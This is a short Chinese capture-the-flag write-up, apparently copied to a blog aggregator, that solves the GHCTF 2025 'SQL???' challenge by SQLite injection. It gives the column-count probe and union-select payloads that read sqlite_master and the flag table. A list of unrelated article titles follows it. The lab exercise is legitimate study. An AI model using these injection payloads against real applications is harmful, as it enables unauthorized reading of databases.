当前位置: 首页 > article >正文

[GHCTF 2025]SQL???

打开题目在线环境:

在这里插入图片描述

先尝试注入:

id=1;show databases;

在这里插入图片描述
发现报错,后来看了wp才知道这个题目是SQLite注入。
我看的是这个师傅的wp:

https://blog.csdn.net/2401_86190146/article/details/146164505?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522b2e94c28c4b9713fffb8456c983de1b3%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=b2e94c28c4b9713fffb8456c983de1b3&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-146164505-null-null.142v102pc_search_result_base9&utm_term=%5BGHCTF%202025%5DSQL&spm=1018.2226.3001.4187

1.先判断有几列

? id=1 order by 6 #

到第六列时:
在这里插入图片描述
2.爆出来表名

/?id=1 union select 1,2,3,4,group_concat(sql) from sqlite_master

在这里插入图片描述
所以我们要找的就是flag表里的flag列
直接payload:

/?id=1 union select 1,2,3,4,flag from flag

在这里插入图片描述

http://www.lryc.cn/news/2396324.html

相关文章:

  • 【科研绘图系列】R语言绘制GO term 富集分析图(enrichment barplot)
  • JavaScript 性能优化实战指南
  • 达梦数据库:同1台服务器如何启动不同版本的DMAP服务
  • Laravel单元测试使用示例
  • Kotlin委托机制使用方式和原理
  • 鸿蒙OSUniApp集成WebAssembly实现高性能计算:从入门到实践#三方框架 #Uniapp
  • 基于 HT for Web 轻量化 3D 数字孪生数据中心解决方案
  • 精英-探索双群协同优化(Elite-Exploration Dual Swarm Cooperative Optimization, EEDSCO)
  • 解决Ubuntu20.04上Qt串口通信 QSerialPort 打开失败的问题
  • 深入浅出:使用DeepSeek开发小程序的完整指南
  • 设计模式——观察者设计模式(行为型)
  • 【前端】Vue中使用CKeditor作为富文本编辑器
  • CSS篇-6
  • 【计算机系统结构】习题2
  • 用户资产化视角下开源AI智能名片链动2+1模式S2B2C商城小程序的应用研究
  • day023-面试题总结
  • 机器学习实验七--SVM垃圾邮件分类器
  • C++23 std::fstreams基础回顾
  • Git初识Git安装
  • 使用Redisson实现分布式锁发现的【订阅超时】Subscribe timeout: (7500ms)
  • 数据分析的方法总结
  • 如何使用 poetry 创建虚拟环境,VSCode 如何激活使用 Poetry 虚拟环境(VSCode如何配置 Poetry 虚拟环境)
  • 每天掌握一个Linux命令 - ps
  • 牛客小白月赛117
  • 浅谈 Linux 文件覆盖机制
  • 美化显示GDB调试的数据结构
  • 一篇学习CSS的笔记
  • Rust 学习笔记:自定义构建和发布配置
  • StarRocks x Iceberg:云原生湖仓分析技术揭秘与最佳实践
  • 笔试笔记(运维)